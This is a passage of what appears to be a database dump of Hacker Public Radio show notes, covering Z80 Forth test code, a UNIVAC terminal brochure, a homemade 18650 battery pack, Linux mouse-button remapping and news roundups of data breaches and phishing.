\\ control signals, output\n  NMI INT or DDRB mset\n  WAIT BUSRQ RESET or or DDRF mset\n  \\ nop instruction on data port\n  $ff DATA mclr\n  \\ control lines high\n  NMI INT or PORTB mset\n  WAIT BUSRQ RESET or or PORTF mset\n;\n\n: reset ( -- ) RESET PORTF mclr ;\n: run ( -- ) RESET PORTF mset ;\n: step ( -- ) pin.high 1 ms pin.low ;\n\n\\ logicprobe.init\n\\ clock.init\n\\ z80.ports.init\n\\ sample</code></pre>\n',326,0,0,'CC-BY-SA','z80, forth, retrocomputer',0,0,1),
(3815,'2023-03-17','The UNIVAC Uniscope - The first terminal with a video monitor',2345,'Hear about the Uniscope 300 mainframe terminal from 1964.','<p>In the early days of computing, the computing power was kept in centralized large mainframes and users would connect to them via so called \"dumb\" terminals. These often provided their output through a printer and continuous feed of paper. However in 1964 UNIVAC introduced the Uniscope 300, which was one of the first terminals to provide a video monitor for display. With the introduction of this system came the introduction of several concepts that we take for granted today and they are described during the reading of this brochure.</p>\n\n<p>The brochure was made available through the Computer History Museum at <a href=\"https://www.computerhistory.org/collections/catalog/102646317\">https://www.computerhistory.org/collections/catalog/102646317</a></p>\n\n<p>As I mention in the episode, $15,000 USD in 1964 is worth considerably more today, according to an online inflation calculator it is now worth approximately $144,000 today.  So even if that was for 48 terminals as it seems to mention in the hand written note, that might equate to about $3000 per terminal in 2023 dollars.</p>\n\n<p>Here are some related links below:\n\n<ul>\n<li>UNIVAC - <a href=\"https://en.wikipedia.org/wiki/UNIVAC\">https://en.wikipedia.org/wiki/UNIVAC</a>\n\n<li>The Uniscope line - <a href=\"https://en.wikipedia.org/wiki/Uniscope\">https://en.wikipedia.org/wiki/Uniscope</a>\n\n<li>Uniscope terminal multiplexer service manual - <a href=\"https://www.computerhistory.org/collections/catalog/102784700\">https://www.computerhistory.org/collections/catalog/102784700</a>\n</ul>\n\n',194,0,0,'CC-BY-SA','computer history,terminals',0,0,1),
(3816,'2023-03-20','Post Apocalyptic 4s5 Battery Pack  ',479,'Tough Battery Design Worthy of the Post Apocalyptic Robotics Database  ','<p>HR000000000<br />\nH Hybrid: Denotes some prepurchased or hard to find components<br />\nR Robotics: suitable for robots</p>\n<p>buy: 4s 40A BMS<br />\n<a href=\"https://www.aliexpress.com/item/4000025857655.html\"\nclass=\"uri\">https://www.aliexpress.com/item/4000025857655.html</a>\n(can\'t specifically vouch for this vendor, just chose the first that\ncame up)<br />\nmake sure to choose 4s and balance</p>\n<ol type=\"1\">\n<li><p>find or buy materials: duct or gorilla tape, trashed computer dvd\nor cd drive, 20 18650 cells, molex connectors(you can also use barrel\njacks or whatever you want to transfer power), wire and maybe \'tab wire\'\n<a href=\"https://nl.aliexpress.com/item/32650006768.html\"\nclass=\"uri\">https://nl.aliexpress.com/item/32650006768.html</a></p></li>\n<li><p>solder everything together as per schematic and pictures (there\nis theoretically a danger in soldering cells, but I have never had a\nproblem. Have a pair of pliers and a nearby window handy to throw them\nout of if anything goes wrong)</p></li>\n<li><p>wrap in cardboard and tape as per pictures</p></li>\n<li><p>add the cd/dvd drive lids(if you taped well you won\'t short\nanything and burn your house down</p></li>\n<li><p>tape dvd lids to battery</p></li>\n</ol>\n<p>Getting into the battery for maintenance just requires a utility\nknife.</p>\n<p>Watt Hour does a great job describing the 3s BMS, which is very\nsimilar to the 4s used in my case: <a\nhref=\"https://yewtu.be/watch?v=QNENyu97w2A\"\nclass=\"uri\">https://yewtu.be/watch?v=QNENyu97w2A</a></p>\n<p><em>Battery Schematic</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/0_4s5batteryschematic.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/0_4s5batteryschematic_thumbnail.jpg\"\nalt=\"Battery Schematic\" /></a> <br/><small><small><em>Click the\nthumbnail to see the full-sized image</em></small></small></p>\n<p><em>Cut through tape to reveal battery</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/1_cutthroughtapetorevealbattery.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/1_cutthroughtapetorevealbattery_thumbnail.jpg\"\nalt=\"Cut through tape to reveal battery\" /></a>\n<br/><small><small><em>Click the thumbnail to see the full-sized\nimage</em></small></small></p>\n<p><em>Flat metal holds cells together</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/2_flatmetalforSolarCellsHoldscellstogether.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/2_flatmetalforSolarCellsHoldscellstogether_thumbnail.jpg\"\nalt=\"Flat metal holds cells together\" /></a>\n<br/><small><small><em>Click the thumbnail to see the full-sized\nimage</em></small></small></p>\n<p><em>Detail of 4.2v</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/3_detailof4.2v.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/3_detailof4.2v_thumbnail.2v.jpg\"\nalt=\"Detail of 4.2v\" /></a> <br/><small><small><em>Click the thumbnail\nto see the full-sized image</em></small></small></p>\n<p><em>Only have to desolder one side</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/4_onlyhavetodesolderoneside.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/4_onlyhavetodesolderoneside_thumbnail.jpg\"\nalt=\"Only have to desolder one side\" /></a> <br/><small><small><em>Click\nthe thumbnail to see the full-sized image</em></small></small></p>\n<p><em>New cells in</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/5_newcellsin.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/5_newcellsin_thumbnail.jpg\"\nalt=\"New cells in\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>Make sure there is thick tape covering battery</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/5.5_makesure_there_is_thick_tapecoveringbattery.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/5.5_makesure_there_is_thick_tapecoveringbattery_thumbnail.5_makesure_there_is_thick_tapecoveringbattery.jpg\"\nalt=\"Make sure there is thick tape covering battery\" /></a>\n<br/><small><small><em>Click the thumbnail to see the full-sized\nimage</em></small></small></p>\n<p><em>DVD drive case for stability</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/6_dvddrivecaseforstability.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/6_dvddrivecaseforstability_thumbnail.jpg\"\nalt=\"DVD drive case for stability\" /></a> <br/><small><small><em>Click\nthe thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Tape the DVE case to battery</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/7_Tapethe_dvdcasetobattery_ChargeboardisbehindtheCardboardTaped_FlapAbove.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/7_Tapethe_dvdcasetobattery_ChargeboardisbehindtheCardboardTaped_FlapAbove_thumbnail.jpg\"\nalt=\"Tape the DVE case to battery\" /></a> <br/><small><small><em>Click\nthe thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Charge board with Molex connector</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/8_chargeboardwithmolexconn.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/8_chargeboardwithmolexconn_thumbnail.jpg\"\nalt=\"Charge board with Molex connector\" /></a>\n<br/><small><small><em>Click the thumbnail to see the full-sized\nimage</em></small></small></p>\n<p><em>Outdoors 1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3816/9_outdoors1.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/9_outdoors1_thumbnail.jpg\"\nalt=\"Outdoors 1\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>Outdoors 2</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/9.5_outdoors2.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/9.5_outdoors2_thumbnail.5_outdoors2.jpg\"\nalt=\"Outdoors 2\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n',401,103,1,'CC-BY-SA','battery,18650,cells,4s',0,0,1),
(3817,'2023-03-21','The Oh No! News.',700,'Oh No! News, is Good News.','<h2 id=\"the-oh-no-news\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news\"><em>Oh No!</em> News is Good News.</h2>\n<hr />\n<ul>\n<li><a\nhref=\"https://firewalltimes.com/recent-data-breaches/\">firewalltimes:</a>\nRecent Data Breaches &#x2013; 2023.\n<ul>\n<li><a\nhref=\"https://www.sec.gov/ix?doc=/Archives/edgar/data/0001283699/000119312523010949/d641142d8k.htm\">sec:</a>\nOn January 5, 2023, - T-Mobile Discloses Data Breach Affecting 37\nMillion Customers.</li>\n<li>On January 5, 2023, T-Mobile US, Inc. identified that a bad actor\nwas obtaining data through a single Application Programming Interface\n(&#x201C;API&#x201D;) without authorization.</li>\n</ul></li>\n<li><a\nhref=\"https://www.bleepingcomputer.com/news/security/truthfinder-instant-checkmate-confirm-data-breach-affecting-20m-customers/\">bleepingcomputer:</a>\nTruthFinder, Instant Checkmate confirm data breach affecting 20M\ncustomers.\n<ul>\n<li><a\nhref=\"https://www.instantcheckmate.com/security-incident-alert/\">instantcheckmate:</a>\n2019 Account List Data Security Incident.</li>\n<li><a\nhref=\"https://www.truthfinder.com/security-incident-alert/\">truthfinder:</a>\n2019 Account List Data Security Incident.</li>\n<li>\"We learned recently that a list, including name, email, telephone\nnumber in some instances, as well as securely encrypted passwords and\nexpired and inactive password reset tokens, of Instant Checkmate\nsubscribers was being discussed and made available in an online forum.\nWe have confirmed that the list was created several years ago and\nappears to include all customer accounts created between 2011 and 2019.\nThe published list originated inside our company.\"</li>\n</ul></li>\n<li><a href=\"https://www.sec.gov/news/press-release/2023-34\">sec:</a>\nSEC Charges NBA Hall of Famer Paul Pierce for Unlawfully Touting and\nMaking Misleading Statements about Crypto Security.\n<ul>\n<li>The Securities and Exchange Commission today announced charges\nagainst former NBA player Paul Pierce for touting EMAX tokens, crypto\nasset securities offered and sold by EthereumMax, on social media\nwithout disclosing the payment he received for the promotion and for\nmaking false and misleading promotional statements about the same crypto\nasset. Pierce agreed to settle the charges and pay $1.409 million in\npenalties, disgorgement, and interest.</li>\n</ul></li>\n<li><a href=\"https://www.sec.gov/news/press-release/2023-32\">sec:</a>\nSEC Charges Terraform and CEO Do Kwon with Defrauding Investors in\nCrypto Schemes.\n<ul>\n<li>The Securities and Exchange Commission today charged Singapore-based\nTerraform Labs PTE Ltd and Do Hyeong Kwon with orchestrating a\nmulti-billion dollar crypto asset securities fraud involving an\nalgorithmic stablecoin and other crypto asset securities.</li>\n</ul></li>\n<li><a\nhref=\"https://discourse.ubuntu.com/t/ubuntu-flavor-packaging-defaults/34061?u=d0od\">discourse.ubuntu:</a>\nUbuntu Flavor Packaging Defaults.\n<ul>\n<li>To maintain this focus while also providing user choice, Ubuntu and\nits flavors consider debs and snaps the default experience. Users have\nthe freedom of choice to get their software from other sources,\nincluding Flatpak. A way to install these alternatives is, and will\ncontinue to be, available for installation from the Ubuntu archive with\na simple command.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li>References (APA format).\n<ul>\n<li><a\nhref=\"https://firewalltimes.com/author/michael-x-heiligenstein/\">Heiligenstein,\nM. X.</a> (2023, January 27). Recent Data Breaches - 2023.\nFirewalltimes. <a\nhref=\"https://firewalltimes.com/recent-data-breaches/\">https://firewalltimes.com/recent-data-breaches/</a></li>\n<li>U.S. Securities and Exchange Commission (2023, January 19). Form 8-K\n[T-Moble data breach]. SEC. <a\nhref=\"https://www.sec.gov/ix?doc=/Archives/edgar/data/0001283699/000119312523010949/d641142d8k.htm\">https://www.sec.gov/ix?doc=/Archives/edgar/data/0001283699/000119312523010949/d641142d8k.htm</a></li>\n<li>Abrams, L. (2023, February 3) TruthFinder, Instant Checkmate confirm\ndata breach affecting 20M customers. bleepingComputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/truthfinder-instant-checkmate-confirm-data-breach-affecting-20m-customers/\">https://www.bleepingcomputer.com/news/security/truthfinder-instant-checkmate-confirm-data-breach-affecting-20m-customers/</a></li>\n<li>instantcheckmate. (2023, January). 2019 Account List Data Security\nIncident. instantcheckmate. <a\nhref=\"https://www.instantcheckmate.com/security-incident-alert/\">https://www.instantcheckmate.com/security-incident-alert/</a></li>\n<li>truthfinder. (2023, January). 2019 Account List Data Security\nIncident. truthfinder. <a\nhref=\"https://www.truthfinder.com/security-incident-alert/\">https://www.truthfinder.com/security-incident-alert/</a></li>\n<li>U.S. Securities and Exchange Commission (2023, February 17). SEC\nCharges NBA Hall of Famer Paul Pierce for Unlawfully Touting and Making\nMisleading Statements about Crypto Security. SEC. <a\nhref=\"https://www.sec.gov/news/press-release/2023-34\">https://www.sec.gov/news/press-release/2023-34</a></li>\n<li>U.S. Securities and Exchange Commission (2023, February 16). SEC\nCharges Terraform and CEO Do Kwon with Defrauding Investors in Crypto\nSchemes. SEC. <a\nhref=\"https://www.sec.gov/news/press-release/2023-32\">https://www.sec.gov/news/press-release/2023-32</a></li>\n<li><a href=\"https://discourse.ubuntu.com/u/kewisch\">@kewisch</a> (2023,\nFebruary 21). Ubuntu Flavor Packaging Defaults. [Ubuntu Discourse]. <a\nhref=\"https://discourse.ubuntu.com/t/ubuntu-flavor-packaging-defaults/34061\">https://discourse.ubuntu.com/t/ubuntu-flavor-packaging-defaults/34061</a></li>\n<li><a href=\"https://ubuntu.com/blog/author/igorljubuncic\">Ljubuncic\nI.</a> (2019, August 29). A technical comparison between snaps and debs.\nubuntu. <a\nhref=\"https://ubuntu.com/blog/a-technical-comparison-between-snaps-and-debs\">https://ubuntu.com/blog/a-technical-comparison-between-snaps-and-debs</a></li>\n<li>[ts.] (2022, March 22). Re: apt installs snap packages. ubuntu\nlists. <a\nhref=\"https://lists.ubuntu.com/archives/foundations-bugs/2022-March/470881.html\">https://lists.ubuntu.com/archives/foundations-bugs/2022-March/470881.html</a></li>\n<li>Tilloy O. (2022, February 7). Re: If apt installs snap package, then\nwarn, because maybe i dont want snap package. ubuntu lists. <a\nhref=\"https://lists.ubuntu.com/archives/foundations-bugs/2022-February/468140.html\">https://lists.ubuntu.com/archives/foundations-bugs/2022-February/468140.html</a></li>\n<li><a\nhref=\"https://askubuntu.com/users/349903/reducing-activity\">@reducing\nactivity</a> (2021, June 12). How can I stop apt from installing snap\npackages? askubuntu. <a\nhref=\"https://askubuntu.com/questions/1345385/how-can-i-stop-apt-from-installing-snap-packages\">https://askubuntu.com/questions/1345385/how-can-i-stop-apt-from-installing-snap-packages</a></li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','\"Oh No, News\", Data Breaches, Crypto Schemes, Packaging Defaults',0,0,1),
(3818,'2023-03-22','nop test redux',571,'A better nop test','<h2 id=\"nop-redux\">nop redux</h2>\n<p>This is the updated code</p>\n<pre><code>-logicprobe\nmarker -logicprobe\n\nvariable Compare\nvariable Count\n\n$23 constant PINB\n$24 constant DDRB\n$25 constant PORTB\n\n$100 constant PINH\n$101 constant DDRH\n$102 constant PORTH\n\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n\n$b0 constant TCCR2A\n$b1 constant TCCR2B\n$b3 constant OCR2A\n\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i\n\n: logicprobe.init ( -- )\n  \\ tone generatoed through timer2\n  %0001.0000 DDRB mset \\ d10, pb4\n  %0100.0010 TCCR2A c!    \\ use OC2A, ctc mode\n  $ff OCR2A c! \\ compare falue\n\n  %0 DDRE c! \\ e input\n  %0000.0010 EICRB mset \\ falling edge\n  [&#39;] ext4.irq #6 int! \\ attach interrupt\n;\n\n\\ helper words\n: open.gate ( -- )   0 Count ! %0001.0000 EIMSK mset ;\n: close.gate ( -- )   %0001.0000 EIMSK mclr ;\n\n\\ tone stuff\n: high.tone ( -- ) %0000.0100 TCCR2B c! 750 ms 0 TCCR2B c! ;\n: low.tone ( -- ) %0000.0110 TCCR2B c! 750 ms 0 TCCR2B c! ;\n: alt.tone ( -- )\n  3 for\n    %0000.0100 TCCR2B c! 150 ms 0 TCCR2B c!\n    150 ms\n    %0000.0110 TCCR2B c! 150 ms 0 TCCR2B c!\n    150 ms\n  next\n;\n\n: process.data ( -- )\n  Count @ 1-\n  Count !\n  Count @ 0 &gt; if\n    \\ cr .&quot; freq=&quot; 10 * .\n    cr .&quot; pulse&quot;\n    alt.tone      \\ sound output\n  else\n    %0001.0000 PINE mtst if\n      cr .&quot; high&quot;\n      high.tone   \\ sound output\n    else\n      cr .&quot; low&quot;\n      low.tone    \\ sound output\n    then then\n;\n\n: wait 100 ms ;\n\n: sample ( -- ) open.gate wait close.gate process.data ;\n\n\\ words called at the forth command line to do the test</code></pre>\n<ol type=\"1\">\n<li>demo tones</li>\n</ol>\n<pre><code>low.tone\nhigh.tone\nalt.tone</code></pre>\n<ol start=\"2\" type=\"1\">\n<li>the test</li>\n</ol>\n<pre><code>sample \\ a stop clocked\nstart.clock\nsample</code></pre>\n<ol start=\"3\" type=\"1\">\n<li>a0 line</li>\n</ol>\n<pre><code>sample</code></pre>\n<ol start=\"4\" type=\"1\">\n<li>stop.clock and sample a0</li>\n</ol>\n<pre><code>stop.clock\nsample</code></pre>\n<ol start=\"5\" type=\"1\">\n<li>reset the z80 and single step probing the m1 signal</li>\n</ol>\n<pre><code>reset\nstep\nstep\nstep\nstep\nstep\nstep\nrun\nstep sample\nstep sample\nstep sample\nstep sample\nsample</code></pre>\n<p>if its jammed hit it, if it breaks it needed replacing anyway</p>\n',326,0,0,'CC-BY-SA','z80, forth, retrocomputer',0,0,1),
(3819,'2023-03-23','Remapping Mouse Buttons with XBindKeys on Linux',600,'I explain how I assigned different functions to the spare buttons on my trackball mice.','<h2>Remapping Mouse Buttons with XBindKeys on Linux</h2>\n\n<p>After a really long time of not bothering to figure out how to do this, I finally did some research and found out how to remap the extra buttons on my Kensington Expert mouse and my Logitech marble trackball mouse in a Linux environment. The tools it needed were <code>xvkbd</code>, <code>xdotool</code>, and <code>xbindkeys</code>. I already had the first two installed, but had never used <code>xbindkeys</code> before. I also used <code>xev</code> to identify the button numbers and key numbers.</p>\n\n<p>The Kensington Expert Mouse is one that I\'ve had for about 15 years, and it was fairly expensive when I bought it, something like $75 or $80. It has four large buttons with a large trackball in the middle and a scroll wheel going around the track ball. I bought it at a time when I was doing a lot of graphic work that required clicking and dragging and double-clicking and stuff like that. If you\'re using it in a Mac or Windows environment, there is a special configuration tool that you can use to set it up just how you want. I had always configured it so that the upper left and upper right buttons were used for double-clicking and click dragging. This helped reduce a lot of strain on my hands. I have never gotten this to work on Linux, though, until today.</p>\n\n<p>If you want to do this yourself, the first thing to do is make sure you have these packages installed: <code>xvkbd</code>, <code>xdotool</code>, and <code>xbindkeys</code>.</p>\n\nThen create a configuration file in your home directory:\n\n<pre>\n~/.xbindkeysrc\n</pre>\n\nIn order to map the upper left button to \"double click,\" and the upper right button to \"click and drag,\" I added these lines to the configuration file:\n\n<pre>\n# Double-click assigned to button 2 (upper left)\n\n\"xdotool sleep 0.2 click 1 ; xdotool click 1\"\n      b:2\n\n# Click and Drag assigned to button 8 (upper right)\n\n\"xdotool sleep 0.2 mousedown 1\"\n      b:8\n</pre>\n\nTo test the settings, simply kill the <code>xbindkeys</code> process and restart it by typing <code>xbindkeys</code>:\n\n<pre>\nuser@hostname:~$ pkill -f xbindkeys\nuser@hostname:~$ xbindkeys\n</pre>\n\n\n<p>On my desktop computer I have a Logitech marble trackball mouse, and it has two small keys that are assigned to back and forward by default. This can be handy for navigating file managers and web pages, but I wanted them to be assigned to \"page up\" and \"page down\" (to make up for the lack of a scroll wheel on the mouse). Here is the configuration file for that machine:</p>\n\n<pre>\n\"xvkbd  -text \"\\[Page_Down]\"\"\n       b:8\n\n\"xvkbd  -text \"\\[Page_Up]\"\"\n       b:9\n</pre>\n\n<p>I suppose I could have used <code>xdotool</code> for this configuration file as well, but for reasons I can\'t remember now, I tried <code>xvkbd</code> first and it worked, so I did not experiment further. I  used <code>xdotool</code> for the Kensington because <code>xvkbd</code> did not have a way to perform virtual mouse clicks.</p>\n\n\n<h2>Links</h2>\n\n<ul>\n	<li><a href=\"https://manpages.ubuntu.com/manpages/jammy/en/man1/xev.1.html\">xev</a></li>\n	<li><a href=\"https://www.nongnu.org/xbindkeys/\">XBindKeys</a></li>\n	<li><a href=\"https://manpages.ubuntu.com/manpages/jammy/en/man1/xvkbd.1.html\">xvkbd</a></li>\n	<li><a href=\"https://manpages.ubuntu.com/manpages/trusty/man1/xdotool.1.html\">xdotool</a></li>\n</ul>\n',238,0,0,'CC-BY-SA','Linux configuration, tips and tricks, mouse configuration, keymapping',0,0,1),
(3821,'2023-03-27','The Oh No! News.',797,'Oh No! News, is Good News.','<h2 id=\"the-oh-no-news\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news\"><em>Oh No!</em> News, is Good\nNews.</h2>\n<hr />\n<ul>\n<li><strong>Threat analysis; your attack surface.</strong>\n<ul>\n<li><strong>TAGS:</strong> Malware, Phishing, Security Breach</li>\n</ul></li>\n<li><strong>GoDaddy, a Web Hosting Provider Hit Multiple Times by the\nSame Group.</strong>\n<ul>\n<li>This month, GoDaddy, a leading web hosting provider, revealed that\nit had experienced a major security breach over several years, resulting\nin the theft of company source code, customer and employee login\ncredentials, and the introduction of malware onto customer\nwebsites.</li>\n<li>Major Security Breach: Spanning several years.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\">Data Breach:</a>\nEmployee login credentials &amp; customer data.</li>\n<li><a\nhref=\"https://d18rn0p25nwr6d.cloudfront.net/CIK-0001609711/e4736ddb-b4c7-485b-a8fc-1827691692c9.pdf\">10-k\nform</a> Filled with the U.S. Securities and Exchange Commission.</li>\n<li><a\nhref=\"https://www.sec.gov/Archives/edgar/data/1609711/000160971121000122/gddyblogpostnov222021.htm\">sec:</a>\nGoDaddy Announces Security Incident Affecting Managed WordPress\nService.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\">Malware:</a>\nCompromising customer websites managed by GoDaddy.</li>\n<li>Phishing Attacks: Exposed customer data including login credentials,\nemail addresses, and SSL private keys.</li>\n</ul></li>\n</ul></li>\n<li><strong>Chick-Fil-A Customers are Victims of a Data Breach.</strong>\n<ul>\n<li>Fast-food chain Chick-fil-A has issued a warning to customers\nregarding a recent data security breach. The incident occurred between\nDec. 18, 2022 and Feb. 12, 2023, during which unauthorized parties\ngained access to customer information, according to a statement posted\non the California Attorney General&#x2019;s website on Tuesday.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\">Data Breach:</a>\nmembership numbers, mobile pay numbers, QR codes, last 4 digits of\ncredit/debit card numbers, credits on Chick-fil-A accounts, birthdays,\nphone numbers, and addresses.</li>\n</ul></li>\n</ul></li>\n<li><strong>New phishing campaign uses fake ChatGPT platform to scam\neager investors.</strong>\n<ul>\n<li>Bitdefender Antispam Labs confirmed that these scams initiate with\nan email containing a link that directs users to a copycat version of\nChatGPT. The goal of this copycat version is to convince users that they\ncan earn as much as $10,000 per month on the duplicate ChatGPT\nplatform.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\">Phishing:</a> Email\nbased scam.</li>\n</ul></li>\n<li><strong>LassPass Security Incident Update and Recommended\nActions.</strong>\n<ul>\n<li>Major Security Breach: Spanning multiple years.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\">Data Breach:</a>\nEmployee login credentials, source code &amp; other intellectual\nproperty, customer data.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\">Malware:</a>\nAttackers exploited third-party software to compromise company systems\nby delivering a keylogger type malware.</li>\n</ul></li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>InfoSec; the language of security.</strong>\n<ul>\n<li><strong>TAGS:</strong> Information Security, Monitoring</li>\n</ul></li>\n<li><strong>Bitwarden flaw can let hackers steal passwords using\niframes.</strong>\n<ul>\n<li>Bitwarden highlights that the autofill feature is a potential risk\nand even includes a prominent warning in its <a\nhref=\"https://bitwarden.com/help/auto-fill-browser/\">documentation</a>,\nspecifically mentioning the likelihood of compromised sites abusing the\nautofill feature to steal credentials.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\">Phishing:</a> Sniff\ncredentials from a webpage HTML inline frame.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/HTML_element#Frames\">wikipedia:</a>\nAn inline frame places another HTML document in a frame. Unlike an\n&lt;object /&gt; element, an &lt;iframe&gt; can be the \"target\" frame\nfor links defined by other elements, and it can be selected by the user\nagent as the focus for printing, viewing its source, and so on. The\ncontent of the element is used as alternative text to be displayed if\nthe browser does not support inline frames. A separate document is\nlinked to a frame using the src attribute inside the &lt;iframe /&gt;,\nan inline HTML code is embedded to a frame using the srcdoc attribute\ninside the &lt;iframe /&gt; element. First introduced by Microsoft\nInternet Explorer in 1997, standardized in HTML 4.0 Transitional,\nallowed in HTML5.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>User space.</strong>\n<ul>\n<li><strong>TAGS:</strong> Solutions, Services</li>\n</ul></li>\n<li><strong>Flathub&#x2019;s Got Big Plans for 2023.</strong>\n<ul>\n<li>Developers are flocking to Flathub in droves, which means users are\ntoo, and even Linux distributions (well, bar one) are getting in on the\naction by making making it easier to install apps from Flathub with the\nfriction of setting things up using terminal commands or odd sounding\ndownload files.</li>\n<li><a href=\"https://beta.flathub.org/\">Flathub Beta site:</a> Welcome\nto Flathub, the home of hundreds of apps which can be easily installed\non any Linux distribution. Browse the apps online, from your app center\nor the command line.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li>References (APA format).\n<ul>\n<li>CySecurity News. (2023, March 01). [GoDaddy Hit Multiple Times by\nthe Same Group]. CySecurity. <a\nhref=\"https://www.cysecurity.news/2023/03/godaddy-web-hosting-provider-hit.html\">https://www.cysecurity.news/2023/03/godaddy-web-hosting-provider-hit.html</a></li>\n<li>Gatlan S. (2021, November 22). [GoDaddy data breach hits 1.2 million\nManaged WordPress customers]. Bleepingcomputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/godaddy-data-breach-hits-12-million-managed-wordpress-customers/\">https://www.bleepingcomputer.com/news/security/godaddy-data-breach-hits-12-million-managed-wordpress-customers/</a></li>\n<li>GoDaddy. (2023, February 16). Statement on recent website redirect\nissues. GoDaddy. <a\nhref=\"https://aboutus.godaddy.net/newsroom/company-news/news-details/2023/Statement-on-recent-website-redirect-issues/default.aspx\">https://aboutus.godaddy.net/newsroom/company-news/news-details/2023/Statement-on-recent-website-redirect-issues/default.aspx</a></li>\n<li>Gatlan S. (2020, May 04). GoDaddy notifies users of breached hosting\naccounts. Bleepingcomputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/godaddy-notifies-users-of-breached-hosting-accounts/\">https://www.bleepingcomputer.com/news/security/godaddy-notifies-users-of-breached-hosting-accounts/</a></li>\n<li>Ilascu I. (2019, April 26). Hundreds of GoDaddy Accounts Used for\n\"Miracle\" Product Scams. Bleepingcomputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/hundreds-of-godaddy-accounts-used-for-miracle-product-scams/\">https://www.bleepingcomputer.com/news/security/hundreds-of-godaddy-accounts-used-for-miracle-product-scams/</a></li>\n<li>Cross T. (2023, March 08). Chick-Fil-A Customers are Victims of a\nData Breach. Safetydetectives. <a\nhref=\"https://www.safetydetectives.com/news/chick-fil-a-customers-are-victims-of-a-data-breach/\">https://www.safetydetectives.com/news/chick-fil-a-customers-are-victims-of-a-data-breach/</a></li>\n<li>Oguejiofor-Abugu K. (2023, March 07). New phishing campaign uses\nfake ChatGPT platform to scam eager investors. Safetydetectives. <a\nhref=\"https://www.safetydetectives.com/news/new-phishing-campaign-uses-fake-chatgpt-platform-to-scam-eager-investors/\">https://www.safetydetectives.com/news/new-phishing-campaign-uses-fake-chatgpt-platform-to-scam-eager-investors/</a></li>\n<li>Toulas B. (2023, March 08). Bitwarden flaw can let hackers steal\npasswords using iframes. Bleepingcomputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/bitwarden-flaw-can-let-hackers-steal-passwords-using-iframes/\">https://www.bleepingcomputer.com/news/security/bitwarden-flaw-can-let-hackers-steal-passwords-using-iframes/</a></li>\n<li>Toubba K. (2023, March 01). Security Incident Update and Recommended\nActions. LassPass. <a\nhref=\"https://blog.lastpass.com/2023/03/security-incident-update-recommended-actions/\">https://blog.lastpass.com/2023/03/security-incident-update-recommended-actions/</a></li>\n<li>Toubba K. (2022, December). Incident 2 &#x2013; Additional details of the\nattack. LassPass. <a\nhref=\"https://support.lastpass.com/help/incident-2-additional-details-of-the-attack\">https://support.lastpass.com/help/incident-2-additional-details-of-the-attack</a></li>\n<li>Toubba K. (2023, February). What have we done to secure LastPass.\nLassPass. <a\nhref=\"https://support.lastpass.com/help/what-have-we-done-to-ensure-lastpass-is-safe-to-use\">https://support.lastpass.com/help/what-have-we-done-to-ensure-lastpass-is-safe-to-use</a></li>\n<li>Sneddon J. (2023, March 07). Flathub&#x2019;s Got Big Plans for 2023. OMG\nubuntu. 